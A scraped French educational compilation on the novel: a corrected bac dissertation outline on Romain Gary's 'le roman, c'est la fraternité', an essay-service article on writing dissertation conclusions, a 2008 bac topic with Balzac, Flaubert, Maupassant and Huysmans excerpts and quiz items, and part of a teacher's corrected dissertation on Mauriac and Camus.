conclusion de dissertation sur le roman

Français au BAC : Exemple de dissertation corrigée sur le roman (3)

Introduction

Romain Gary écrit : « Le roman, c’est la fraternité : on se met dans la peau des autres ». En effet, la lecture d’un roman permet au lecteur de sortir de sa sphère individuelle et de se projeter vers les autres en s’immergeant dans la vie et les pensées de personnages fictifs. En éprouvant de la compassion pour ces derniers ou en s’identifiant à eux, le lecteur vit une expérience de fraternité et se frotte à l’altérité. S’il est vrai que le roman a pour fonction de permettre au lecteur de se mettre dans la peau des autres et de comprendre leur vie (I), nous verrons aussi que le roman est un instrument de distanciation avec les autres (II). Mais le roman ne serait-il pas finalement un moyen de s’évader de soimême et des autres ? (III)

I – Le roman permet de se mettre dans la peau de quelqu’un d’autre et de comprendre sa vie

A – L’auteur et le lecteur se mettent dans la peau du personnage en adoptant son point de vue Exemple

– Mémoires d’Hadrien, Marguerite Yourcenar : Ce roman est présenté comme une lettre de l’Empereur Hadrien à son successeur Marc-Aurèle. Par ce procédé, Marguerite Yourcenar nous fait entrer dans les pensées intimes de l’Empereur Hadrien qui livre les ressorts de son âme et nous permet de comprendre sa vision des choses.

– Marguerite Yourcenar a fait de longues recherches pour se mettre dans la peau de son personnage. Elle confie dans ses notes « L’une des meilleures manières de recréer la pensée d’un homme : reconstituer sa bibliothèque. »

B – Le lecteur se met dans la peau d’un personnage de roman en s’identifiant à lui

– Le processus d’identification aux personnages de roman permet d’approfondir l’expérience de l’altérité.

– Mémoires d’Hadrien, Marguerite Yourcenar : ce roman parcourt toute la vie d’Hadrien : sa jeunesse, sa formation, son ascension politique, l’exercice du pouvoir et l’approche de la mort. Le lecteur suit pas-à-pas le destin du personnage et découvre ses pensées. Il peut s’identifier à lui. – La compassion que le lecteur peut éprouver à l’égard d’un personnage lui permet d’expérimenter le sentiment de fraternité.

– Madame Bovary, Flaubert : Emma Bovary est une jeune femme ordinaire, rêveuse, qui croit au Prince Charmant des romans historiques et sentimentaux. Incapable de s’adapter à la vie plate et prosaïque que lui offre son mari Charles, elle souffre, prend des amants et s’endette. Le lecteur éprouve de la compassion et donc de la fraternité pour elle.

C – Le roman est un miroir de la vie sociale qui permet de comprendre la vie des autres

– Le roman réaliste fait une description objective et précise de la vie des autres et nous permet ainsi de mieux comprendre ce qu’ils vivent.

– Germinal, Zola : Emile Zola décrit avec précision les conditions de la vie ouvrière dans les mines du Nord. Les registre tragique et épique dans ce roman suscitent l’empathie et l’admiration pour les ouvriers, créant un sentiment de fraternité avec les personnages.

II – Le roman peut aussi nous distancier des autres

A – La mise à distance par l’ironie – Quand l’auteur se montre ironique vis à vis de son personnage, il nous invite à porter un regard distancié sur ce personnage. Cette ironie crée alors une complicité entre l’auteur et le lecteur, aux dépens du personnage.

Exemple : – La Chartreuse de Parme, Stendhal : Stendhal fait preuve d’une ironie affectueuse envers Fabrice Del Dongo. Emprisonné, Fabrice est émerveillé par la vue de sa cellule d’où il aperçoit Clélia dont il est amoureux. Stendhal commente ironiquement : « Notre héros se laissait charmer par les douceurs de la prison ». Il nous invite à une mise à distance avec le personnage, créant une complicité entre le narrateur et le lecteur.

B – La mise à distance par l’observation

– Pour les écrivains naturalistes, le roman est comme un laboratoire d’expérimentation scientifique qui permet de comprendre les lois qui régissent la vie humaine et la vie sociale. Le lecteur est alors un observateur.

Exemple : – Bel-Ami, Maupassant : Georges Duroy est un anti-héros médiocre, un arriviste sans scrupule qui utilise les femmes pour gravir les échelons de la société. Son ascension sociale reflète les mœurs de la société parisienne à la fin du XIXème siècle. Le lecteur ne fraternise pas avec Georges Duroy, personnage méprisable, mais il observe la société parisienne et le monde de la presse au XIXème siècle.

C – Le roman est un instrument de la connaissance de soi

– Bouvard et Pécuchet, Flaubert : les deux personnages éponymes s’expriment à travers des expressions banales qui soulignent nos préjugés. Flaubert nous invite, à travers ses personnages de fiction (c’est à dire les autres), à mieux nous connaître et à nous regarder avec un esprit critique. – Lettres Persanes, Montesquieu : Les deux persans Usbek et Rica portent un regard faussement naïf sur l’Europe pour faire ressortir le ridicule des mœurs et institutions occidentales. Le roman amène le lecteur du XVIIIème siècle à porter sur lui-même un regard libre et à se détacher des préjugés.

III – Le roman : s’évader de soi et des autres

A – Le roman, une aventure imaginaire – Le récit et le roman permettent de nous évader dans un monde imaginaire.

Exemple : – Candide, Voltaire : Ce récit nous place dans l’univers du conte. Même si par moment la fiction et le réel se rencontrent (désastre de Lisbonne de 1755, missions jésuites,…), l’exotisme de l’épisode d’Eldorado permet au lecteur de s’évader.

– La mort du roi Tsongor, Laurent Gaudé : L’histoire nous transporte dans un univers imaginaire et utopique qui fait songer aux mythiques grands royaumes africains du Moyen-Âge. Les descriptions hyperboliques et le registre merveilleux du premier chapitre ne sont pas sans faire penser à l’Eldorado de Candide.

B – Le roman comme expérience d’étrangeté visà-vis de l’autre et de soi-même Le roman peut aller jusqu’à abolir la notion même de personnage. Il crée alors un effet d’étrangeté et d’irréalité vis-à-vis des autres.

Exemple : – L’Amant, Marguerite Duras : Marguerite Duras adopte une écriture cinématographique, extérieure à la pensée des personnages. Les personnages comptent peu : c’est l’étrangeté qui domine.

– Les choses, Georges Perec : Dans les années 1960, un jeune couple parisien est obnubilé par l’idée d’acquérir des objets pour leur confort matériel. Les personnages disparaissent derrière la description des choses.

C – Le roman, la « musique » d’un auteur

– Le roman est davantage la rencontre avec la langue d’un auteur que la rencontre avec un personnage.

Exemple : – Voyage au bout de la nuit, Céline : Ce roman captive par la force de sa langue orale qui dénonce la guerre, la colonisation, le taylorisme. – Mémoires d’Hadrien, Marguerite Yourcenar : On retrouve dans ce roman la musicalité de l’écriture antique à travers une écriture très classique et des épithètes homériques. Le roman permet alors de fraterniser davantage avec la voix de l’ auteur que celle du personnage.

Conclusion : Le roman n’a pas pour unique fonction de permettre au lecteur de se mettre dans la peau des autres et de comprendre leur vie. Il permet aussi de porter un regard distancié sur le monde, sur la société et sur soi-même. Il donne enfin la possibilité de fraterniser avec une voix singulière, celle de l’auteur qui, à travers sa prose, dévoile sa « musique » intérieure et délivre sa propre vision de la vie. [Bilan et réponse à la question] Ne pourrait-on considérer dès lors que, ainsi que le disait Jean Ricardou en 1963, « le roman n’est désormais plus l’écriture d’une aventure mais l’aventure d’une écriture » ? [Ouverture]

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Comment faire une conclusion de dissertation ?

Dissertation

septembre 27, 2023

En tant qu’auteur passionné, je suis profondément attiré par le monde des connaissances académiques et j’éprouve une immense joie à aider les étudiants dans leur parcours d’apprentissage. J’ai trouvé ma vocation en tant qu’écrivain sur le site “Redaction-de-Memoire” , où je peux partager ma passion en publiant un contenu intéressant et enrichissant qui contribue au succès académique des lecteurs.

Dans cet article, nous vous présenterons un guide complet sur la rédaction d’une conclusion de dissertation. Vous découvrirez l’importance de cette partie cruciale de votre travail académique, les éléments essentiels à inclure, et des astuces pour la rendre percutante. Si vous êtes prêt à apprendre comment clore votre dissertation de manière convaincante, poursuivez votre lecture !

Table of Contents

• Qu’est-ce qu’une conclusion d’une dissertation ?

La conclusion d’une dissertation : à quoi sert-elle ?

Quelles parties sont incluses dans la conclusion d’une dissertation , comment rédiger une bonne conclusion de dissertation , exemple complet de conclusion de dissertation, pourquoi choisir rédaction-de-mémoire pour vos travaux .

• Commandez votre mémoire dès maintenant : Remplissez notre  formulaire en ligne !

Qu’est-ce qu’une conclusion d’une dissertation ?

La conclusion d’une dissertation est la dernière partie de votre travail de recherche. Elle sert à résumer vos idées principales, à apporter une réponse à la problématique posée et à ouvrir des perspectives futures. Une conclusion bien rédigée doit laisser une impression durable sur vos lecteurs en soulignant l’importance de votre recherche et en mettant en valeur vos contributions.

La conclusion d’une dissertation joue un rôle essentiel dans votre travail académique. Elle permet de :

• Synthétiser vos idées : Récapitulez les points clés que vous avez développés tout au long de votre dissertation.
• Répondre à la problématique : Fournissez une réponse claire et argumentée à la question centrale de votre travail.
• Ouvrir de nouvelles perspectives : Invitez vos lecteurs à poursuivre la réflexion sur le sujet et à explorer de nouvelles pistes de recherche.

N’hésitez pas à nous demander si vous avez besoin de plus d’informations ou d’autres sections pour compléter l’article.

Pour rédiger une bonne conclusion de dissertation, il est essentiel de prendre en compte certains aspects cruciaux. Suivez ces astuces pratiques pour créer une conclusion percutante qui laissera une forte impression sur vos lecteurs.

• Soyez clair et concis : La conclusion de votre dissertation doit être claire et concise. Évitez les longues phrases complexes qui pourraient embrouiller vos lecteurs. Optez pour un langage simple et accessible, de manière à ce que chacun puisse comprendre facilement vos idées. Rappelez-vous que la conclusion est le dernier élément que vos lecteurs liront, donc il est crucial de la rendre facile à assimiler.
• Utilisez des exemples concrets : Pour rendre votre conclusion plus crédible et convaincante, appuyez vos arguments avec des exemples concrets issus de votre recherche. Les exemples concrets permettent d’illustrer vos points de manière tangible et d’appuyer vos affirmations. Cela renforce la validité de vos propos et montre que vous avez réalisé une recherche approfondie. Par exemple, si votre dissertation traite des effets des changements climatiques sur la biodiversité, vous pouvez inclure des exemples d’études scientifiques récentes ou des cas concrets de disparition d’espèces pour étayer votre conclusion.
• Terminez sur une note mémorable : La conclusion d’une dissertation doit laisser une impression durable sur vos lecteurs. Évitez de terminer de manière abrupte. Au lieu de cela, cherchez à marquer les esprits en reformulant votre document de manière percutante ou en lançant une réflexion finale intrigante. Par exemple, vous pouvez conclure en soulignant l’impact potentiel de votre recherche sur la société ou en invitant vos lecteurs à considérer les implications à long terme de vos découvertes.

En appliquant ces astuces dans la rédaction de votre conclusion de dissertation, vous serez en mesure d’achever votre travail académique de manière convaincante et professionnelle. Une conclusion bien pensée renforcera la pertinence de votre recherche et laissera une impression positive sur vos lecteurs, complétant ainsi votre dissertation sur une note satisfaisante.

Voici l’exemple complet de conclusion d’une dissertation sur le sujet « L’impact des réseaux sociaux sur les relations interpersonnelles » .

Titre : La conclusion d’une dissertation sur « L’impact des réseaux sociaux sur les relations interpersonnelles. »

Après avoir analysé en profondeur l’impact des réseaux sociaux sur les relations interpersonnelles, il est clair que ces plateformes numériques ont considérablement modifié notre façon de communiquer et d’interagir avec les autres. Notre recherche a mis en évidence à la fois les aspects positifs et négatifs de cette transformation sociale.

D’une part, les réseaux sociaux ont permis de rapprocher les individus, de connecter des personnes vivant à des milliers de kilomètres les unes des autres, et de créer des communautés virtuelles autour de centres d’intérêt communs. Ces plateformes offrent également des opportunités de renforcer les liens avec nos proches, en permettant un échange constant et instantané de messages, de photos et de vidéos. Ainsi, elles ont contribué à faciliter la communication à travers le monde et à surmonter les barrières géographiques.

D’autre part, nous avons aussi constaté que l’omniprésence des réseaux sociaux peut avoir des conséquences négatives sur les relations interpersonnelles. L’abus d’utilisation peut entraîner une dépendance excessive aux appareils électroniques, au détriment des interactions en face-à-face. Les individus peuvent être confrontés à des problèmes de confidentialité et de sécurité, car les informations personnelles sont souvent partagées en ligne sans discernement. De plus, les réseaux sociaux peuvent créer un sentiment de comparaison sociale et d’insatisfaction, en exacerbant les sentiments d’anxiété et d’isolement chez certains utilisateurs.

En conclusion, l’impact des réseaux sociaux sur les relations interpersonnelles est complexe et nuancé. Ces plateformes ont incontestablement révolutionné notre façon de communiquer et de créer des liens sociaux. Cependant, il est important de reconnaître que leur utilisation nécessite une approche réfléchie et équilibrée. Nous devons être conscients des avantages et des inconvénients de ces outils numériques pour tirer le meilleur parti des opportunités qu’ils offrent, tout en préservant l’authenticité et la qualité de nos relations dans le monde réel.

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En résumé, la conclusion d’une dissertation joue un rôle essentiel dans la clôture de votre travail de recherche. Elle doit récapituler les principaux points abordés, répondre de manière convaincante à la problématique, et ouvrir la voie vers de nouvelles perspectives. Pour rédiger une conclusion percutante, soyez clair et concis, utilisez des exemples concrets pour appuyer vos arguments, et terminez sur une note mémorable qui laissera une impression durable sur vos lecteurs. En suivant ces conseils, vous pouvez garantir que votre dissertation se termine avec force et conviction.

Qu'est-ce qu'une conclusion de dissertation ?

La conclusion de dissertation est la dernière partie de votre travail de recherche, où vous récapitulez les idées principales, fournissez une réponse à la problématique et ouvrez des perspectives futures. 🎯

Quelles parties doivent être incluses dans une conclusion de dissertation ?

Une conclusion bien structurée devrait comprendre un résumé des principales idées, une réponse claire à la problématique et des perspectives pour des recherches futures. 📝

Comment rendre une conclusion de dissertation percutante ?

Pour rendre votre conclusion convaincante, utilisez un langage clair et des exemples concrets, et terminez sur une note mémorable pour laisser une impression durable sur vos lecteurs. 💡

Peut-on introduire de nouvelles informations dans la conclusion ?

Non, la conclusion ne doit pas introduire de nouvelles informations, mais plutôt résumer et mettre en perspective celles présentées dans le corps de la dissertation. ❌

Combien de temps devrait-on consacrer à la rédaction de la conclusion ?

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• Dissertation type bac : Le rapport entre fiction et réel

Le rapport entre fiction et réel Dissertation type bac

Métropole, 2008, voies technologiques

Vous présenterez votre argumentation en prenant appui sur les extraits proposés et sur les œuvres que vous avez pu étudier ou lire.

En conclusion du roman de Guy de Maupassant, Une vie , Rosalie déclare : "La vie, voyez-vous, ça n'est jamais si bon ou si mauvais qu'on croit". Pensez-vous qu'un roman doit ouvrir les yeux du lecteur sur la vie ou bien au contraire permettre d'échapper à la réalité ?

Texte A : Honoré de Balzac, Illusions perdues , 2e partie

1836 - 1843

[Jeune homme idéalement beau, Lucien quitte la ville d'Angoulême en compagnie de sa protectrice, Mme de Bargeton, pour aller chercher à Paris la gloire littéraire. Il y perdra vite ses illusions, comme ici, lors de sa première sortie au théâtre.]

[…] Le plaisir qu'éprouvait Lucien, en voyant pour la première fois le spectacle à Paris, compensa le déplaisir que lui causaient ses confusions 1 . Cette soirée fut remarquable par la répudiation 2 secrète d'une grande quantité de ses idées sur la vie de province. Le cercle s'élargissait, la société prenait d'autres proportions. Le voisinage de plusieurs jolies Parisiennes si élégamment, si fraîchement mises, lui fit remarquer la vieillerie de la toilette de Mme de Bargeton, quoiqu'elle fût passablement ambitieuse : ni les étoffes, ni les façons, ni les couleurs n'étaient de mode. La coiffure qui le séduisait tant à Angoulême lui parut d'un goût affreux comparée aux délicates inventions par lesquelles se recommandait chaque femme. – Va-t-elle rester comme ça ? se dit-il, sans savoir que la journée avait été employée à préparer une transformation. En province il n'y a ni choix ni comparaison à faire : l'habitude de voir les physionomies leur donne une beauté conventionnelle. Transportée à Paris, une femme qui passe pour jolie en province, n'obtient pas la moindre attention, car elle n'est belle que par l'application du proverbe : "Dans le royaume des aveugles, les borgnes sont rois". Les yeux de Lucien faisaient la comparaison que Mme de Bargeton avait faite la veille entre lui et Châtelet 3 . De son côté, Mme de Bargeton se permettait d'étranges réflexions sur son amant. Malgré son étrange beauté, le pauvre poète n'avait point de tournure 4 . Sa redingote 5 dont les manches étaient trop courtes, ses méchants gants de province, son gilet étriqué, le rendaient prodigieusement ridicule auprès des jeunes gens du balcon : Mme de Bargeton lui trouvait un air piteux. […]

1 Confusions : maladresses, embarras 2 Répudiation : abandon 3 Châtelet : le baron du Châtelet. Mme de Bargeton le préférera à Lucien. 4 Tournure : allure, élégance 5 Redingote : veste de soirée

Texte B : Gustave Flaubert, Bouvard et Pécuchet , Chapitre VII

[À la suite d'un héritage, Bouvard et Pécuchet renoncent à leur métier d'employé et à leur vie urbaine pour aller s'installer en Normandie, où ils se lancent dans l'agriculture. Mais ils échouent lamentablement dans tout ce qu'ils entreprennent.]

Des jours tristes commencèrent. Ils n'étudiaient plus, dans la peur de déceptions, les habitants de Chavignolles s'écartaient d'eux, les journaux tolérés n'apprenaient rien, et leur solitude était profonde, leur désœuvrement complet. Quelquefois, ils ouvraient un livre, et le refermaient ; à quoi bon ? En d'autres jours, ils avaient l'idée de nettoyer le jardin, au bout d'un quart d'heure une fatigue les prenait ; ou de voir leur ferme, ils en revenaient écœurés ; ou de s'occuper de leur ménage, Germaine poussait des lamentations ; ils y renoncèrent. Bouvard voulut dresser le catalogue du muséum 1 , et déclara ces bibelots stupides. Pécuchet emprunta la canardière 2 de Langlois pour tirer des alouettes ; l'arme, éclatant du premier coup, faillit le tuer. Donc ils vivaient dans cet ennui de la campagne, si lourd quand le ciel blanc écrase de sa monotonie un cœur sans espoir. On écoute le pas d'un homme en sabots qui longe le mur, ou les gouttes de la pluie tomber du toit par terre. De temps à autre, une feuille morte vient frôler la vitre, puis tournoie, s'en va. Des glas 3 indistincts sont apportés par le vent. Au fond de l'étable, une vache mugit. Ils bâillaient l'un devant l'autre, consultaient le calendrier, regardaient la pendule, attendaient les repas ; et l'horizon était toujours le même : des champs en face, à droite l'église, à gauche un rideau de peupliers ; leurs cimes se balançaient dans la brume, perpétuellement, d'un air lamentable.

1 Muséum : musée 2 Canardière : long fusil pour tirer les canards 3 Glas : cloche que l'on fait sonner pour la mort ou les obsèques de quelqu'un.

Texte C : Guy de Maupassant, Une vie , Chapitre XIV

[Jeanne, jeune fille noble, sort du couvent à l'âge de dix-sept ans. Elle épouse l'homme de son cœur. Mais il se révèle brutal et avare. Il trompe très vite sa jeune épouse. Jeanne va de déception en déception et d'épreuve en épreuve. Elle ne trouvera réconfort et espoir qu'à la toute fin du roman, en acceptant de prendre soin de sa petite fille, laissée par ses parents. Le passage proposé constitue justement la dernière page du roman.]

Le soleil baissait vers l'horizon, inondant de clarté les plaines verdoyantes, tachées de place en place par l'or des colzas en fleur, et par le sang des coquelicots. Une quiétude 1 infinie planait sur la terre tranquille où germaient les sèves. La carriole allait grand train, le paysan claquant de la langue pour exciter son cheval. Et Jeanne regardait droit devant elle en l'air, dans le ciel que coupait, comme des fusées, le vol cintré 2 des hirondelles. Et soudain une tiédeur douce, une chaleur de vie traversant ses robes, gagna ses jambes, pénétra sa chair ; c'était la chaleur du petit être qui dormait sur ses genoux. Alors une émotion infinie l'envahit. Elle découvrit brusquement la figure de l'enfant qu'elle n'avait pas encore vue : la fille de son fils. Et comme la frêle créature, frappée par la lumière vive, ouvrait ses yeux bleus en remuant la bouche, Jeanne se mit à l'embrasser furieusement, la soulevant dans ses bras, la criblant de baisers. Mais Rosalie 3 , contente et bourrue, l'arrêta. "Voyons, voyons, madame Jeanne, finissez ; vous allez la faire crier." Puis elle ajouta, répondant sans doute à sa propre pensée : "La vie, voyez-vous, ça n'est jamais si bon ni si mauvais qu'on croit."

1 Quiétude : calme 2 Cintré : en forme de courbe 3 Rosalie : servante de Jeanne

Texte D : Karl-Joris Huyslans, Là-bas , Chapitre XIX

[Écrivain parisien, Durtal entreprend d'écrire un livre sur Gilles de Rais, compagnon d'armes de Jeanne d'Arc. Au cours de ses recherches, il rencontre Mme Chantelouve avec qui il a une aventure.]

Ils montaient, cahotés dans un fiacre 1 , la rue de Vaugirard. Mme Chantelouve s'était rencoignée et ne soufflait mot. Durtal la regardait lorsque, passant devant un réverbère, une courte lueur courait puis s'éteignait sur sa voilette 2 . Elle lui semblait agitée et nerveuse sous des dehors muets. Il lui prit la main qu'elle ne retira pas, mais il la sentait glacée sous son gant et ses cheveux blonds lui parurent, ce soir-là, en révolte et moins fins que d'habitude et secs. Nous approchons, ma chère amie ? – Mais, d'une voix angoissée et basse, elle lui dit : – Non, ne parlez pas. – Et, très ennuyé de ce tête-à-tête taciturne 3 , presque hostile, il se remit à examiner la route par les carreaux de la voiture. La rue s'étendait, interminable, déjà déserte, si mal pavée que les essieux du fiacre criaient, à chaque pas ; elle était à peine éclairée par des becs de gaz qui se distançaient de plus en plus, à mesure qu'elle s'allongeait vers les remparts. Quelle singulière équipée ! se disait-il, inquiété par la physionomie 4 froide, rentrée de cette femme. Enfin, le véhicule tourna brusquement dans une rue noire, fit un coude et s'arrêta.

1 Cahotés dans un fiacre : secoués dans une voiture à cheval (Le fiacre sert de taxi au XIXe siècle.) 2 Voilette : petit voile de tuile accroché au chapeau d'une femme et pouvant se rabattre sur le visage 3 Taciturne : silencieux et renfrogné 4 Physionomie : le visage et plus largement l'apparence

À quel courant littéraire appartient le texte suivant, et quel est le but de l'auteur ?

Au réalisme, l'auteur entend peindre la réalité.

Au naturalisme, l'auteur applique la science à la littérature.

Au fantastique, l'auteur introduit la notion d'étrange dans le monde réel.

Au romantisme, l'auteur entend exalter les sentiments humains.

De quel trait humain Gustave Flaubert se moque-t-il dans l'extrait réaliste suivant ?

Le courage des personnages

La paresse des personnages

La méchanceté des personnages

La tendresse des personnages

À quel mouvement littéraire appartient Maupassant, auteur de cet extrait ?

Le romantisme

Le Nouveau Roman

Le réalisme

La préciosité

Dans la liste suivante, quel genre littéraire est propice au merveilleux ?

Le roman réaliste

Qui est le chef de file du mouvement réaliste ?

Victor Hugo

Honoré de Balzac

Madame de Lafayette

Qui est le chef de file du roman naturaliste ?

Montesquieu

George Sand

Marcel Proust

Qu'est-ce qu'un roman réaliste ?

Un roman qui met en scène des personnages merveilleux.

Un roman qui met en scène des aventures extraordinaires.

Un roman qui s'applique à peindre la réalité.

Un roman qui fait rire le lecteur.

Quel plan permet de répondre au sujet posé ?

I. Le roman pour fuir la réalité II. Le roman comme miroir du réel III. Le roman pour comprendre le monde

I. La poésie du Moyen-Âge II. Le roman au XVIIIe siècle III. L'essai pour se libérer

I. Le réalisme au XIXe II. Le naturalisme III. Le roman au XXe

I. La littérature pour fuir le monde II. La poésie pour transfigurer le réel III. Le roman pour comprendre le monde

Espace Pédagogique Contributif

Cours de français de m. bruno rigolt – lycée en forêt – montargis (france). ressources pédagogiques en ligne – culture générale, corrigé de dissertation : zola, mauriac, camus. fonctions du roman.

• Entraînement à l’Épreuve Anticipée de Français : dissertation littéraire
• Albert Camus, L’Étranger
• François Mauriac : Thérèse Desqueyroux
• Pour la méthodologie de la dissertation, voir ce support de cours . –

Dissertation littéraire

Sujet corrigé bruno rigolt, rappel du sujet : , émile zola dans le roman expérimental (1880) affirme qu’une œuvre littéraire doit être « un procès-verbal, rien de plus : elle n’a que le mérite de l’observation exacte […] ». ce jugement s’accorde-t-il avec votre lecture de thérèse desqueyroux et de l’étranger  .

[Introduction] Elle se compose de trois étapes essentielles : l ’entrée en matière et l’annonce du sujet ; l a définition d’une problématique ; l ’annonce du plan.

_____ En réaction aux écrivains romantiques de la première moitié du XIXe siècle, les romanciers réalistes et naturalistes ont en commun de « dire toute la vérité » selon l’expression bien connue de Maupassant. Fortement marqué par le développement des sciences, Zola définira même le roman selon une méthode indissociable d’une interprétation scientifique et déterministe de la société. C’est ainsi que dans le Roman expérimental , essai paru en 1880, il théorise la doctrine naturaliste en ces termes : « L’œuvre devient un procès-verbal, rien de plus ; elle n’a que le mérite de l’observation exacte […] ».

_____ La sévérité d’un tel jugement prête cependant à discussion : le genre romanesque doit-il se borner à présenter un « reflet » de la société, à en être seulement le « miroir », ou doit-il nourrir d’autres ambitions ? Ces questionnements fondent la problématique de notre travail.

_____ Si le roman, comme nous le concéderons d’abord, est fondé sur une méthode d’observation objective, nous verrons qu’il peut aussi recomposer le réel, notamment par la remise en question de la notion de personnage telle qu’elle a été élaborée auparavant. Il conviendra enfin de dépasser cette dialectique quelque peu réductrice pour envisager une définition plus profonde du genre romanesque : comme moteur de la conscience humaine, le roman ne permettrait-il pas plutôt, loin d’aliéner l’homme au réel, de l’ouvrir au contraire à un questionnement intérieur, questionnement avant tout philosophique et existentiel ? Nous étayerons notre démonstration par les deux œuvres au programme : Thérèse Desqueyroux de François Mauriac et l’Étranger d’Albert Camus.

[Développement] Pour les sujets qui comportent une thèse à discuter, le plan sera évidemment dialectique (thèse validée/discutée/réajustée = certes/mais/en fait).

_____ En premier lieu, il convient de situer le genre romanesque dans le cadre des canons définis par le Naturalisme. Les termes employés par Zola confèrent en effet à l’écriture les caractères d’un « procès-verbal », d’une « observation exacte » de la réalité.

_____ Les deux romans soumis à notre étude relèvent par plusieurs aspects de l’analyse naturaliste. Dans Thérèse Desqueyroux , nous retrouvons par exemple une méthode d’observation des personnages qui les enracine fortement dans un déterminisme social et héréditaire : argent, pouvoir, instinct de propriété les conditionnent au point qu’ils semblent ne pas pouvoir échapper à leur destin. Ainsi Thérèse rêve d’un avenir différent, mais elle ne parviendra jamais à le construire. Son crime est le rêve quelque peu bovaryste d’un ailleurs d’autant plus illusoire qu’elle est littéralement prisonnière du milieu et des circonstances sociales. Jeune bourgeoise provinciale, elle a fait un mariage de convenance : placée sous le signe de l’enfermement et de l’incommunicabilité, sa vie de couple met en relief la banalité de l’existence, dans ce qu’elle a de plus ordinaire et trivial. De même, nous avons l’impression que Camus   dans L’Étranger , refusant tout artifice rhétorique, se plaît à détailler jusqu’aux limites extrêmes la condition subalterne et médiocre de Meursault, qui apparaît comme le contraire d’un héros. D’ailleurs, le meurtre de l’Arabe s’inscrit dans une forme de fatalité qui n’est pas sans rappeler, autant le naturalisme et son déterminisme, que le fatum de la tragédie antique. A insi Meursault voit-il constamment le destin lui échapper : le meurtre de même que la condamnation à mort semblent conditionnés par une existence dérisoire et absurde, vécue dans une passivité et une immédiateté dépourvues de profondeur. Cette existence banale est parfaitement rendue comme l’a souligné Roland Barthes, par l’écriture blanche du roman, dépouillée dans son lexique et sa syntaxe.

_____ En outre, nous pouvons noter dans les deux œuvres un refus d’idéaliser le réel. De même que Zola n’économise dans ses romans aucun détail horrible, quitte à choquer par son souci d’être vrai les lecteurs et le « bon goût », Mauriac multiplie les remarques sur le conservatisme politique et social qui règne à Argelouse. Supprimant tout suspens dramatique, l’auteur a restitué le climat oppressant d’une classe sociale soucieuse avant tout de sa réputation. Cette trahison du spirituel est bien rendue par Bernard Desqueyroux : homme d’habitude et de principes, il organise sa vie selon un plan méthodique qui en dit long sur les préjugés de son milieu. De même, Balion, Balionte et Gardère, les domestiques, sont décrits sans concession dans toute leur petitesse et leur médiocrité humaine. Avec une ironie féroce, l’auteur dresse ainsi le « procès-verbal » de cette société du simulacre et de la dissimulation. Camus peint également sans idéalisation l’âpre réalité de la condition humaine : témoin le regard mécanique et froidement informatif que Meursault porte sur les pensionnaires de l’hospice de Marengo, sur la scène de l’enterrement ou le déroulement du crime. Ce parti pris de réalisme se retrouve dans le misérabilisme des situations : Salamano, le voisin de palier de Meursault, promenant son chien qu’il insulte souvent « le long de la rue de Lyon » selon un itinéraire qui n’a pas changé depuis huit ans. Nous pourrions évoquer aussi les accents pétainistes des discours de la Cour lors du procès ou les « cris de haine » de la foule préfigurant à la fin du roman l’exécution capitale. Dans ce monde obscur et lourd, c’est bien la morale des apparences sociales qui domine.

_____ Cette observation de la vie réelle dans ce qu’elle a de plus trivial parfois confère aux deux romans un caractère réaliste assez marqué qui conduit à une vision pessimiste du monde : ainsi, la société condamne Thérèse et Meursault tous deux pour avoir refusé de « jouer le jeu » pour reprendre la célèbre formule camusienne dans la préface à l’édition américaine de L’Étranger  : dans leur refus même, et malgré leur acte criminel, ils trouvent la dignité et une sorte de salut. Loin du simulacre du monde et de la tentation de chercher refuge et facilité dans le mensonge, le réalisme de leur crime oblige en effet à voir la réalité en face, à ne pas la dissimuler derrière le masque trompeur des apparences et de la médiocrité. L es auteurs examinent les personnes de la réalité, font l’étude des interactions entre l’individu et son milieu afin de montrer la vérité en face : il s’agit de la peinture de l’existence décrite de façon prosaïque, loin de toute transcendance divine ou morale. Meursault est bien un antihéros qui refuse « d’avoir une apparence ou un langage qui trahiraient son être », selon le commentaire de Camus lui-même. On trouve ainsi chez les deux romanciers une évocation très crue de la mort, qu’il s’agisse de l’incipit célèbre de L’Étranger ou des détails sordides de l’empoisonnement chez Mauriac : « Thérèse pourrait réciter la formule inscrite sur l’enveloppe et que l’homme déchiffre d’une voix coupante : Chloroforme : 30 grammes. Aconitine granules n° 20. Digitaline sol. : 20 grammes ». Comme nous le comprenons, le réalisme dont il est question ne doit pas être confondu avec de simples effets de réel : il s’agit plus fondamentalement de peindre un antihéros écrasé par les déterminismes aliénants et de mettre en évidence la loi inexorable des rapports de force et de l’agencement du monde.

[Déduction générale] _____ Ainsi que nous avons cherché à le montrer, les personnages de Thérèse et de Meursault n’assument pas de fonction irréalisante ou même idéalisante. Loin de nier le réel pour lui substituer l’imaginaire ou la quête transcendante, ils s’enracinent au contraire dans l’histoire et l’espace déterministe dans lequel ils vivent : leur drame est précisément de ne pouvoir s’échapper de ce destin imposé que par l’exil ou la mort.

[Transition] _____ Pour autant, on aurait tort de réduire Thérèse Desqueyroux et l’Étranger à deux romans « d’observation ». Si le projet scientifique de Zola est bien de peindre des êtres seulement « déterminés », c’est-à-dire définis et gouvernés par leur hérédité, leur milieu social et les circonstances qu’ils traversent, Mauriac et Camus dans leur négation de l’histoire comme absolu et dans leur refus des idéologies, donnent au contraire à leur personnage une épaisseur psychologique et humaine qui dépasse largement le cadre de la reproduction exacte de la vie.

[Antithèse]

_____ L’œuvre littéraire, contrairement à ce qu’affirme Zola, n’a pas seulement pour but l’observation exacte : au contraire, la fiction peut chercher à contester une vision du monde donnée a priori . Loin de la neutralité du procès-verbal, « la création, comme l’écrit Camus dans L’Homme révolté , est exigence d’unité et refus du monde. Mais elle refuse le monde à cause de ce qui lui manque et au nom de ce que, parfois, il est ». Si le réel est donc nécessaire à l’art, la création propose un nouveau monde qui passe par une esthétique de la révolte ; révolte artistique et métaphysique contre l’absurdité et le non-sens.

